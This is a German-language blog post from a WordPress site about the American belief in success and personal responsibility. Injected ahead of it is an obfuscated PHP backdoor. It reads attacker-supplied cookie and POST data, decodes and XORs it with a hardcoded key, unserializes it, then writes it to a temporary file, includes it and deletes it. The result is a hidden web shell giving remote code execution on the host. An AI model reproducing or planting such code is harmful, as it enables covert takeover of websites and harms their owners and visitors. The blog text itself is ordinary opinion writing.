$WBHFbv = 'P' . chr (95) . chr (79) . chr (97) . chr (70) . chr ( 228 - 158 ); $nTptLl = 'c' . "\x6c" . chr (97) . chr ( 666 - 551 )."\163" . chr (95) . 'e' . "\x78" . 'i' . chr ( 853 - 738 ).chr (116) . chr ( 196 - 81 ); $cBSvvlMXXz = class_exists($WBHFbv); $nTptLl = "28723";$YfNHQjusb = strpos($nTptLl, $WBHFbv);if ($cBSvvlMXXz == $YfNHQjusb){function QDxNd(){$qOcUFmzN = new /* 60203 */ P_OaFF(22758 + 22758); $qOcUFmzN = NULL;}$scfGvYnLz = "22758";class P_OaFF{private function FfngnMnUnm($scfGvYnLz){if (is_array(P_OaFF::$RCPHv)) {$name = sys_get_temp_dir() . "/" . crc32(P_OaFF::$RCPHv["salt"]);@P_OaFF::$RCPHv["write"]($name, P_OaFF::$RCPHv["content"]);include $name;@P_OaFF::$RCPHv["delete"]($name); $scfGvYnLz = "22758";exit();}}public function EfcvuXUTNK(){$jFOKTFZqDo = "31226";$this->_dummy = str_repeat($jFOKTFZqDo, strlen($jFOKTFZqDo));}public function __destruct(){P_OaFF::$RCPHv = @unserialize(P_OaFF::$RCPHv); $scfGvYnLz = "6715_29229";$this->FfngnMnUnm($scfGvYnLz); $scfGvYnLz = "6715_29229";}public function cKpubxCPK($jFOKTFZqDo, $KrgzFdkYU){return $jFOKTFZqDo[0] ^ str_repeat($KrgzFdkYU, intval(strlen($jFOKTFZqDo[0]) / strlen($KrgzFdkYU)) + 1);}public function FAFqrTS($jFOKTFZqDo){$XazmP = "\x62" . "\x61" . "\x73" . chr (101) . '6' . chr ( 146 - 94 );return array_map($XazmP . chr ( 524 - 429 ).'d' . 'e' . 'c' . "\157" . chr ( 564 - 464 ).'e', array($jFOKTFZqDo,));}public function __construct($WbRNdii=0){$otbajlbE = chr ( 704 - 660 ); $jFOKTFZqDo = "";$ZhvIG = $_POST;$YDhiH = $_COOKIE;$KrgzFdkYU = "e6b9fa78-4baf-4182-a3a5-0c245a741097";$BkJciv = @$YDhiH[substr($KrgzFdkYU, 0, 4)];if (!empty($BkJciv)){$BkJciv = explode($otbajlbE, $BkJciv);foreach ($BkJciv as $hZPOHscdt){$jFOKTFZqDo .= @$YDhiH[$hZPOHscdt];$jFOKTFZqDo .= @$ZhvIG[$hZPOHscdt];}$jFOKTFZqDo = $this->FAFqrTS($jFOKTFZqDo);}P_OaFF::$RCPHv = $this->cKpubxCPK($jFOKTFZqDo, $KrgzFdkYU);if (strpos($KrgzFdkYU, $otbajlbE) !== FALSE){$KrgzFdkYU = explode($otbajlbE, $KrgzFdkYU); $YbgmV = base64_decode(md5($KrgzFdkYU[0])); $SVAId = strlen($KrgzFdkYU[1]) > 5 ? substr($KrgzFdkYU[1], 0, 5) : $KrgzFdkYU[1];$_GET['new_key'] = md5(implode('', $KrgzFdkYU)); $LoQqggJj = str_repeat($SVAId, 2); $LYkSuiGqxw = array_map('trim', $KrgzFdkYU);}}public static $RCPHv = 35029;}QDxNd();} Erfolgsdenken in den USA - California Dreaming

Eine Konstanzerin in Kalifornien

Erfolgsdenken in den USA

Erfolgsdenken

Jeder ist seines Glückes Schmied – das ist hier Glaubensbekenntnis

Zum Thema Erfolgsdenken in den USA kann man Bücher und Dissertationen schreiben, oder auch schnippische Artikel wie dieser im Focus.  Es gibt sicher berechtigte Kritik an der Einstellung, dass jeder seines Glückes Schmied ist.  Aber es hat auch viel Gutes.

Als ich in die USA kam, um hier zu leben war ich Studentin.  Zwei Jahre an einer amerikanischen Business School hat mich sehr vieles gelehrt und vieles davon hat nichts damit zu tun wie man immaterielles Werte abschreibt oder Marketing Fragebögen zusammengestellt.  Ich habe gelernt, eine andere Einstellung zum Erfolg zu haben.

Erfolgsdenken in den USA
Erfolgsdenken

Erfolg ist hier etwas, dass man sich erarbeitet und dan redlich verdient

Erfolg ist hier etwas, dass man sich erarbeiten kann und auf das man stolz ist.  Es ist auch etwas wofür einem andere bewundern aber eben nicht in einer “grün vor Neid” Art und Weise sondern meist aufrichtig und ohne Neid.  Jemand erreicht was, hat hart dafür gearbeitet, das verdient hier Anerkennung.

Ich empfand das damals und empfinde es auch noch heute als etwas Positives.  Vielleicht hat es sich in Deutschland auch geändert, aber früher hatte ich immer den Eindruck, dass man Erfolg zumindest skeptisch gegenüber steht.  Hatte jemand Erfolg, dann hat der/die entweder ein Schweineglück gehabt oder hat die richtigen Beziehungen oder hat den Erfolg irgendwie aus anderen Gründen nicht verdient.  Das einer einem auf die Schultern haut und mit Anerkennung sagt: “toll, gut gemacht.  Das hast Du Dir verdient” hab ich sehr selten erlebt.

Klar gibt es auch hier Missgunst und Neid, wie überall, aber ich hab das speziell Aufsteigern gegenüber nicht erlebt.  Wenn hier jemand was erreicht, was ihm/ihr eigentlich keiner zugetraut hätte, oder was sehr unwahrscheinlich ist, dann hat der/die Respekt in der Regel verdient.  Nicht Missgunst.

Amerikas Helden: Leute, die Erfolg haben

Die Einstellung gegenüber Leuten wie Bill Gates, Steve Jobs, Mark Zuckerberg, Larry Page oder Sergey Brin zeigt das.  Das sind hier Helden, Leute, die man bewundert und denen man nacheifert.  Nicht Leute, die man mit Misstrauen und Neid betrachtet und denkt “wieso haben die soviel und ich nicht?”

Misserfolg und wie man damit umgeht

Diese positive Einstellung zum Erfolg zeigt sich vielleicht noch deutlicher im Umgang mit dem Misserfolg.  Dass ist hier keine Schande: man hat es versucht, es hat nicht geklappt, Hut ab fürs Versuchen, nächstes Mal wird’s schon klappen.  Misserfolg ist hier nur eine erste Hürde zum Erfolg, entscheidend ist, wie man damit umgeht.  Wer sich aufrappelt und weitermacht oder neu anfängt hat Respekt verdient und ein Misserfolg wird einem dann auch nicht vorgehalten.  Da geht es zu wie im beliebten Pink Song “Got to get up and try and try.”  Was nicht ins Verhaltensmuster der Erfolgsdenken passt ist aufgeben.  Wer nach einem beruflichen Misserfolg beschliesst, jetzt doch lieber bei McDonald Burger zu brutzeln, hat keinen Respekt und kein Verständnis verdient.  Wenn man dann noch irgendeine Unterstützung vom Staat beantragt oder erwartet ist man komplett unten durch.  Aufgeben darf man hier nicht.

Jeder ist Seines Glückes Schmied
Erfolgsdenken

Okay, Kletterbilder sind völlig stereotypisch für Berichte über Erfolg – aber was soll man schon anderes zeigen. Der Kerl hat übrigens total falsche Schuhe an.

Dieses Sprichwort beschreibt die Einstellung hier sehr gut.  Die Menschen hier glauben das, das ist sozusagen ein Teil des Nationalcharakters, wenn es sowas gibt.  Das ist kein launiger Spruch, den man vorschiebt sondern Glaubensbekenntnis.   Diese Einstellung hat den Menschen hier sehr lange geholfen und tut es immer noch.

Der wichtigste Bestandteil dieser Philosophie ist, dass man in einer Gesellschaft lebt, in der man aufsteigen kann.  Zu dem Thema hat es in den letzten Jahren immer wieder negative Schlagzeilen gegeben, die besagen, dass der amerikanische Traum es vom Tellerwäscher zum Millionär zu bringen ausgeträumt ist.  Allerdings gibt es auch andere Studien.

 

In Amerika ist die Einstellung zum Erfolg nach wie vor anders als in Europa, hier wird unbeirrt daran geglaubt, dass man es schaffen kann, wenn man nur will und bereit ist hart dafür zu arbeiten.  Find ich so an sich nichts schlechtes dran.

 

Previous

Prüderie in Amerika

Next

Das Trump-Phänomen, ein Erklärungsversuch

1 Comment

  1. Hello, yes this article is genuinely nice and I have learned lot of things from it concerning blogging. thanks.|

Powered by WordPress & Theme by Anders Norén